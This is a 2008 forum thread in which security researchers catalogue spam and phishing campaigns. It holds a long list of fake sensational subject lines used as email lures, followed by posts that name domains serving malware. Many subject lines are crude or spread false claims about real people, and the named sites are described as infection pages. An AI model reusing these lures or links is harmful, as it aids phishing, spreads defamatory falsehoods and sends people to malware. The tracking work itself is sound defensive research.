Mad woman screams at man
Madonna admits to adultery
Maid of Eva Longoria claims abuse by star
Make easy money faster
Make money without having to work
Man bombs casino after losing poker
Man kills churchgoers
Man makes dog eat human
Mariah Carey is many menís sex goddess
Massive earthquake in Japan kills thousands
McCain accuses media of bias towards Obama
McCain diagnosed with skin cancer, surgery done
McCain drops out of running
McCain leads in popularity polls
McDonald's Happy Meals In San Francisco To Include Gay Marriage License
Medicare bill promises free health care
Mermaid discovered off NZ coast
Merrill Lynch files for bankruptcy
Merrill Lynch to be shut down
Michael Jackson dies in bed
Michael Jordan caught with fraud
Mick Jagger reveals Angelina Jolie affair
Microsoft launches new social interaction site
Microsoft takes over Yahoo Inc
Microsoft unveils new windows platform
Miley Cyrus hidden pics
Miley Cyrus videos exposed
Miss America slept with judge
Miss USA falls in Miss Universe
Monkey breast feeds human baby
Monkey shoots trainer with tranquilizer
More tapes of Scarlett Johansson surface
Most viewed video on Youtube
Much awaited Friends-movie to be released
Mysterious assailant stabs Luke Perry
NASA to use Space Shuttles to Kill Birds
NASDAQ plunges 15% overnight
NY Times offices set ablaze by arsonists
Nadal and Federer parties with models
Nadal disqualified from Wimbledon win
Neighbor's envy, owner's pride
Nereida gets red card from Cristiano Ronaldo
New Ford models sneak previews
New Star Wars movie to be released
New Xbox 360 Premium at great prices
New heat wave detected
New nip slip pics of Britney
New recipe for successful love
New york fashion show promises new looks
Newsroom cuts curb content, study shows 49 min
Nicole Kidman baby in hospital
Nicole Kidman gives birth to baby girl
Nicole Kidman loses baby in miscarriage
Ninja attack in New York Times Square
No human part is stronger longer
North korea nuclear fallout
Norton Firm admits to releasing viruses
Now you can get it before anyone.
Obama Is Anorexic Over-Exerciser;
Obama admits extra-marital affair
Obama hurt in car crash
Obama spotted in secret China meeting
Obama's family became victim of terrorist threats
Obama's karma over slip of tongue
Oil falls below $100 a barrel
Oil prices fall sharply
Oil prices finally dip after sharp increase
Oil prices to reach $200 year-end
Old man grabs young boobies
Online delivery notification for your shipment
Oprah Winfrey announces marriage
Oprah Winfrey hurt in car crash
Oprah breaks leg in riding accident
Oprah hurt in freak highway accident
Oprah raises money for Obama fundraiser
Oprah wedding planned for November
Orgy at MTV awards
Outcry over Democrat voting irregularities
Pa. Deputy Sheriff Accuused of Lewdnness
Pamela Anderson Shouts, "i'm Gonna Remarry My One And Only True Love Tommy!"
Pamela Anderson in new scandal
Paris Hilton Is Going To Jail
Paris Hilton stabbed by stalker
Paris does it again
Paris wardrobe malfunction
Patrick Swayze suicide after cancer news
Paupers turn millionaires
People's magazine hottest couple
Plot discovered to keep oil prices high
Poker winner dies of heart attack
Police investigation fingers De Niro in mafia funding scandal
Pollution reaches dangerous levels in California
Pope killed by assasin in Vatican City
Powerful quake kills thousands in Japan
Prada gives fake bags to charity
Pregnancy bleed forces Jolie to abort
President Bush approves execution of soldier
President Bush calls for Olympic boycott
President Bush's iPod: The Complete Playlist
Previews of the hottest new flick
Priest and nun humping in confession room
Private investigation report on your wife
Private plane travel to be banned
Pyrenean dog sled race canncelled for lacck of snow
Qantas CEO to quit following crash
Queen Elizabeth abducted in Tibet
Quotes of the day: Cameron Sinclair
Rare shark stolen from Dream world
Rat meat found in fast food
Rat meat found in spaghettis
Rat poison found in bottled waters
Restaurants caught recycling food
Robot Chickeen GTA Spooof
Ronald Reagan Prime Suspect In Bank Robbery
Ronaldo admits to being bi sexual
Ronaldo crippled after surgery
Ronaldo rapes underaged girl
Ronaldo says no to Nereida
Rowling announces next Harry Potter book
SI: Dolphins trade 6-time Pro Bowler to 'Skins
Sarah Jessica Parker Arrested For Gross Negligee
Saturated fat found to be good for you
Saved from e-mails found in folder: Nuwar
Secret oil reserves in Texas
Secrets of hymen restoration
See this fastest beer drinker
Seinfeld to return for one last season
Self test IQ questions
Sensational football finale
Service lets drivers  lock in gasoline pprices
Shark attack off Australia, 2 dead
She is fated to love you
Shia LAbeouf still in police custody
Shocking Video Shows Spongebob And Gay Sex!
Signs she is interested
Simpson turns into pornstar
Snake caught with cow in stomach - pictures
So you think you can dance
Soldier ordered to be excecuted by president
Spider man helps James Bond!
Steamiest scene in flim awards
Stray javelin kills promising US sprinter
Stupid man gets dildo stuck in anal
Stuudy: California Beaches  Sicken 1.5 Million
Subjects:
Subprime crisis claims thousands of homes
Suicide blasts in Iraq kill hundreds
Suicide bomber changes mind last minute
Super earthquake detected
Talks break down, world war unavoidable
Teenage Girl obviously Having Affair With Bat
Tell them about the honey
Terrorist threat sidelines Beijing Olympics
The AMERO currency replacing the Dollar
The Dark Knight survives haunting
The best stock tips today
The greatest love story ever told
The loves of mini-me
The only thing men want
The top-grade merchandise and service
The truth about gas prices
The truth about ghosts revealed
The truth about virginity
Three children jailed for armed holdup
Ticker: Giuliani says Obama shows inexperience
Tips on getting laid
Too much salt linked to breast cancer
Tornado in New York destroys city
UFO sighting in downtown NY
UK Prime Minister forced to quit
US Marines beheaded in Iraq
US Senator found guilty of treason
US data sets stocks surging
US economy plunges into official depression
US embassy in Britain bombed
US government war brothels
US moves to reject citizenship to muslims
Uighur group bombs China bus
Unmarried Couple Deniedd Riight to Move In
Victoria Beckham drunk again
Virgin Galactic shows off mothership space craft
WHIO: Airliner emergency halts air show
Waiter caught spitting in customer food
Waiters caught putting dirt in food
Want to make money while surfing
Ways to make her go wild
Wedding Biels for Just & Jess
Western 'butlers' cater to Tokyo women Video T-shirt
What else you can do inside your car?
When boobs get this big
White House terrorist plans foiled
Why girlfriends and wives cheat you
Wii Fit sets used to train US troops
Wildfires plague Texas, hundreds homeless
Win a free trip to Vegas
Woman charged with homicide in baby mystery
Woman found with bottle in vagina
Woman loses foot in shock attack
Woman loses nose after dog attack
Woman says cat saved her from fire
Woman, Cops  Exchange Pepper Spray Blastts
World record love making
World's oldest joke in Egypt
X-rays cause cancer - new medical research
Yahoo search shuts down for good
You are about to get fired
You are in grave danger
You are in mafia blacklist
You boss just gave you testimonial
You have answered the right questions Please collect your prize
You should check out this funny video
YouTube shut down after complaints
YouTube shut down by lawsuit
YouTube sued again by Italian company
Your advice is needed here
Your friend is jealous of you
[audio] Church Group Offers Homosexual New Life In Closet
[video] If Barack Obama Is An Oreo, What Is John Mclaughlin
eBay sued for copyright infringement
iPhone 3G bugs causes recall of stock
iPhone 3G free exchange or upgrade
iPhone 3G prices slashed
iPhone 4G sneak peaks
iPhone ver 2.0 sneak peeks
iPhones going for free
nazi Toddlers Ruined My Birthday

August 05, 2008, 12:10:32 am
Reply #73

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
03 > 05

/edit

Apologies, ignore the following (shoved them in the wrong folder);

Code: [Select]
http://www.likeamaze.com/
http://www.amazequick.com/
http://www.strapquick.com/

Additionally, the e-mails containing the *.cnn.com/net (which can also be ignored), linked to;

autourdufeu.net/index2.html

... which is the actual infection .......
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

August 05, 2008, 12:16:05 am
Reply #74

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Just had two more of the CNN e-mails, linking to;

wellnessantamaria.com/index2.html
realdecor.com.br/index2.html

Subject for both of them;

CNN.com Daily Top 10

/edit

... and another;

weddingsinsardinia.com/index2.html
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net